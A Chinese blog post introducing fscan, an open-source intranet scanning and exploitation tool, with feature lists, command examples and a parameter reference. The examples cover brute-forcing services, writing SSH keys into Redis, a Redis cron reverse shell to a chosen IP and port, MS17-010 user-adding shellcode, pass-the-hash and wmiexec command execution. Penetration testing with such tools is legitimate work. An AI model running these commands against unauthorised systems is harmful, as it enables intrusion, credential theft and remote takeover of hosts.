天天看點

全自動化、全方位内網綜合掃描、漏洞掃描開源工具 Fscan

作者:老李講安全

今天給大家分享一個開源的内網掃描工具,在GitHub平台上面有5.3K Star。具體情況如下:

簡介

fscan是一款 go語言編寫的内網綜合掃描工具,友善「一鍵自動化、全方位漏掃掃描」。可以讓你快速的掃描出内網網絡的拓撲結構支援主機存活探測、端口掃描、常見服務的爆破、ms17010、redis 批量寫公鑰、計劃任務反彈 shell、讀取 win 網卡資訊、web 指紋識别、web 漏洞掃描、netbios 探測、域控識别等功能。

主要功能

1.資訊搜集:

  • 存活探測(icmp)
  • 端口掃描2.爆破功能:
  • 各類服務爆破(ssh、smb、rdp 等)
  • 資料庫密碼爆破(mysql、mssql、redis、psql、oracle 等)3.系統資訊、漏洞掃描:
  • netbios 探測、域控識别
  • 擷取目标網卡資訊
  • 高危漏洞掃描(ms17010 等)4.Web 探測功能:
  • webtitle 探測
  • web 指紋識别(常見 cms、oa 架構等)
  • web 漏洞掃描(weblogic、st2 等,支援 xray 的 poc)5.漏洞利用:
  • redis 寫公鑰或寫計劃任務
  • ssh 指令執行
  • ms17017 利用(植入 shellcode),如添加使用者等6.其他功能:
  • 檔案儲存

簡單用法

fscan.exe -h 192.168.1.1/24  (全功能、ms17010、讀取網卡資訊)
fscan.exe -h 192.168.1.1/16  (B段掃描)           

其他用法

fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳過存活檢測 、不儲存檔案、跳過web poc掃描)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 寫公鑰)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 計劃任務反彈shell)
fscan.exe -h 192.168.1.1/24 -c "whoami;id" (ssh 爆破成功後,指令執行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定子產品ssh和端口)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加載指定檔案的使用者名、密碼來進行爆破)
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定掃描結果儲存路徑,預設儲存在目前路徑)
fscan.exe -h 192.168.1.1/8  (A段的192.x.x.1和192.x.x.254,友善快速檢視網段資訊 )
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密碼碰撞)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定子產品)
fscan.exe -hf ip.txt  (以檔案導入)
fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 一鍵支援xray的poc
fscan.exe -u http://baidu.com -proxy 8080 (掃描單個url,并設定http代理 http://127.0.0.1:8080)
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不進行爆破,不掃Web poc,以減少流量)
fscan.exe -h 192.168.1.1/24 -pa 3389 (在原基礎上,加入3389->rdp掃描)
fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 (隻支援簡單tcp功能的代理,部分功能的庫不支援設定代理)
fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (内置添加使用者等功能,隻适用于備選工具,更推薦其他ms17010的專項利用工具)
fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (pth hash碰撞,xxxx:ntlmhash,如32ed87bdb5fdc5e9cba88547376818d4)
fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx (wmiexec無回顯指令執行)
fscan.exe -h 192.168.x.x/24 -m netbios(-m netbios時,才會顯示完整的netbios資訊)
fscan.exe -h 192.0.0.0/8 -m icmp(探測每個C段的網關和數個随機IP,并統計top 10 B、C段存活數量)
           

編譯指令

go build -ldflags="-s -w " -trimpath main.go
upx -9 fscan.exe (可選,壓縮體積) #upx用于二進制檔案大小瘦身用的           

完整參數參考

-c string
        ssh指令執行
  -cookie string
        設定cookie
  -debug int
        多久沒響應,就列印目前進度(default 60)
  -domain string
        smb爆破子產品時,設定域名
  -h string
        目标ip: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
  -hf string
        讀取檔案中的目标
  -hn string
        掃描時,要跳過的ip: -hn 192.168.1.1/24
  -m string
        設定掃描模式: -m ssh (default "all")
  -no
        掃描結果不儲存到檔案中
  -nobr
        跳過sql、ftp、ssh等的密碼爆破 ["安全"]  -nopoc 跳過web poc掃描
  -np
        跳過存活探測
  -num int
        web poc 發包速率  (default 20)
  -o string
        掃描結果儲存到哪 (default "result.txt")
  -p string
        設定掃描的端口: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")
  -pa string
        新增需要掃描的端口,-pa 3389 (會在原有端口清單基礎上,新增該端口)
  -path string
        fcgi、smb romote file path
  -ping
        使用ping代替icmp進行存活探測
  -pn string
        掃描時要跳過的端口,as: -pn 445
  -pocname string
        指定web poc的模糊名字, -pocname weblogic
  -proxy string
        設定代理, -proxy http://127.0.0.1:8080
  -user string
        指定爆破時的使用者名
  -userf string
        指定爆破時的使用者名檔案
  -pwd string
        指定爆破時的密碼
  -pwdf string
        指定爆破時的密碼檔案
  -rf string
        指定redis寫公鑰用子產品的檔案 (as: -rf id_rsa.pub)
  -rs string
        redis計劃任務反彈shell的ip端口 (as: -rs 192.168.1.1:6666)
  -silent
        靜默掃描,适合cs掃描時不回顯
  -sshkey string
        ssh連接配接時,指定ssh私鑰
  -t int
        掃描線程 (default 600)
  -time int
        端口掃描逾時時間 (default 3)
  -u string
        指定Url掃描
  -uf string
        指定Url檔案掃描
  -wt int
        web通路逾時時間 (default 5)
  -pocpath string
        指定poc路徑
  -usera string
        在原有使用者字典基礎上,新增新使用者
  -pwda string
        在原有密碼字典基礎上,增加新密碼
  -socks5
        指定socks5代理 (as: -socks5  socks5://127.0.0.1:1080)
  -sc
        指定ms17010利用子產品shellcode,内置添加使用者等功能 (as: -sc add) ["安全"]
           

部分使用截圖

fscan.exe -h 192.168.x.x  (全功能、ms17010、讀取網卡資訊)           
全自動化、全方位内網綜合掃描、漏洞掃描開源工具 Fscan

fscan.exe -h 192.168.x.x -rf id_rsa.pub (redis 寫公鑰)

全自動化、全方位内網綜合掃描、漏洞掃描開源工具 Fscan

fscan.exe -h 192.168.x.x -c "whoami;id" (ssh 指令)

全自動化、全方位内網綜合掃描、漏洞掃描開源工具 Fscan

fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 一鍵支援xray的poc

全自動化、全方位内網綜合掃描、漏洞掃描開源工具 Fscan

fscan.exe -h 192.168.x.x -p 139 (netbios探測、域控識别,下圖的[+]DC代表域控)

全自動化、全方位内網綜合掃描、漏洞掃描開源工具 Fscan

資料參考:https://github.com/shadow1ng/fscan

來源:雲原生生态圈

繼續閱讀